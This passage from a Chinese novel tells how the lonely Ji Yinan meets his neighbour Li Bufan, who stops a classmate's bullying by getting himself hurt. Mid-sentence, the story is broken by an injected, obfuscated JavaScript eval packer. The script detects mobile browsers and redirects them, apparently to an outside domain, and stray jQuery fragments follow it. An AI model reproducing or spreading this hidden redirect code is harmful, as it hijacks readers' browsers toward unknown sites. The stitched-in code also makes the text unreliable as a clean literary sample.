对季一南来说，他的人生有两道很明显的分界线。
一道是李不凡的出现，一道是李不凡的离开。
季一南的童年，如果让他自己形容，他会觉得像一个很小、很窄的房间，是灰色的。
父亲在他刚出生没多久就因为车祸去世了，母亲宋宁是单亲妈妈，工作辛苦，经常满世界飞，留在家里的时间并不多。
在季一南生活还不能自理的年纪，宋宁的事业尚在发展，因此请了保姆照顾他。
最初的几个都因为发现季一南是个没人管、又很闷的小孩，而有所薄待。
买的菜是最便宜的，一顿剩了饭，下两顿还要继续吃，季一南过得很差。但他太懂事，知道妈妈也很难，所以只要不是特别过分的事，他很少会和宋宁说。
等他慢慢长大了一点，家里不再需要阿姨，宋宁事业也稳定下来，他们才搬进别墅区。
那时他家的旁边是一栋几乎一模一样的房子，空缺了很久。
在季一南即将去读初中的那个暑假，旁边搬来一家人。
几辆车停在楼下的时候，季一南正好坐在阳台上背英语单词。一个偏瘦的男生推开车门跳下来，把手里的篮球放在地上拍了几下，弄出的噪音惊动了他的父亲。
阳光有些刺眼，季一南放下课本，看见那个男生被父亲打了一巴掌，抱着球乖乖垂下头。
但等父亲转过身，男生就抬起脸，对着父亲做了个鬼脸，回过头的时候，才发现坐在楼上的季一南。
像是偷看一样被发现，季一南有些不知所措地顿住。
楼下的男生却把手抬得很高，掌心像开花一样，和季一南打招呼。
几天后，在初中的第一个班级，他站在门口的告示栏，注意到一个简单的名字：李不凡。
因为太特别，季一南的视线停留了片刻。一片不属于他的小小的阴影落在那个名字上，有人很近地和他说话：“你在看我的名字吗？那你呢，你叫什么？”
季一南回过头，还以为是自己的错觉，隔着阳光和满是尘埃的空气，他好像又回到那个下午，那个和他打招呼的瘦小的男生，穿着宽松校服站在他眼前，彻底结束了他的冬天。
“我叫季一南，季节的季，一二三四的一，南方的南。”
“你的名字也很简单，但我觉得比我的好听……不凡不凡，哪里不凡了……”李不凡嘀咕着进了教室。
季一南没有朋友，始终像一道孤独的影子，那时因为认识李不凡，才第一次模糊地感觉自己好像没有那么孤单了。
但一开始，他其实觉得李不凡是一个有些奇怪的小孩。
这要从李不凡是怎么成为他的同桌的开始说起。
刚进班级时，老师按照首字母排序，把季一南分在一个很胖的男生的前桌。
对方仗着自己比同龄的孩子体型强壮，很爱欺负人。
在季一南喜欢的数学课上，他第一次用铅笔戳了季一南的后背，并在季一南回头时很不友好地嘲笑。
十岁出头的季一南很少对同学抱以纯粹的恶意，以为只是无聊的玩笑。
但在小胖第十次用尖锐的笔尖戳中季一南的后背时，他打算寻求老师的帮助。
“他是不是想找你借什么东西，或者和你说话呢？”老师温柔地问。
“同学之间要好好相处呀，或许你可以尝试和小胖说一说你的困惑，如果是误解了对方，要记得道歉哦。”
季一南很懵，觉得老师似乎弄错了重点，但他本就内向，不爱讲话，更不爱辩解，只对老师点点头，而后和正要去上课的老师一起朝教室走。
还在走廊，他们听见教室里传来的尖锐叫声，老师神色惊慌地冲进去，季一南走在后面，只看见重重人影后举着手的李不凡。
“老师，李不凡的手在流血！”
“是小胖用铅笔扎的！”
同学们争相告状，老师出面处理，说要带李不凡去医务室，但李不凡很熟练地指向季一南，说要季一南陪他去。
老师觉得他们是朋友，于是同意了。他们还没离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215565|181286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开教室，他便大声地训斥起了小胖。
虽然季一南并不知道事情的全貌，但他觉得一切似乎没这么简单，尤其是李不凡一离开教室，就收回那种很可怜的表情，满不在乎地用一团纸巾裹住手背时。
“你痛吗？”季一南问他。
“痛啊，”李不凡说，“但是也不痛。”
很久以后季一南才明白什么叫痛又不痛，前者表达生理上的客观感受，后者表达主观上的感觉。
那时季一南只是非常难受，他不想看到李不凡流血受伤，不管痛或不痛。
他们沿着操场的边缘走去医务室，等到夕阳变得很红，李不凡才悄悄告诉季一南：“铅笔是我掰断的。”
季一南停下脚步，李不凡又继续说：“小胖戳你后背是对你不好，你不要觉得他很善良。”
“我没有……”
“好吧。老师不一定会管这些，以前我就经历过，我还不敢告诉我爸，我爸肯定会打我的。所以我要自己解决这种事，”李不凡表现出十分满意的样子，“我很小就开始学画画了，天天用铅笔，我很了解铅笔的。反正都是我故意的……总之有了这次教训，以后他肯定不敢随便惹你了。”
之后他宣布：“出于保护你的需要，我决定成为你的同桌。”
“是为了我吗？”季一南几乎没有反应过来，只记得李不凡说要做他的同桌。
他望着李不凡，觉得他很远，又望向脚下两个交错的影子，才敢相信他很近。
在季一南的记忆里，李不凡很长时间都是一朵开得很有生命力的花，如同他们初识的时候，在他暗淡的世界里耀眼着。
思及此，季一南又睁开了眼，很轻地侧过身，去看躺在身边的李不凡。
他的脸瘦了一些，鼻梁更挺，眉弓漂亮，嘴唇和耳朵都薄薄的，已经和小时候完全不同。
但有一点类似，至少此时此刻的李不凡和那年的李不凡一样，都还是健康的。
因为在李不凡的人生中，生病的时间其实更长更久。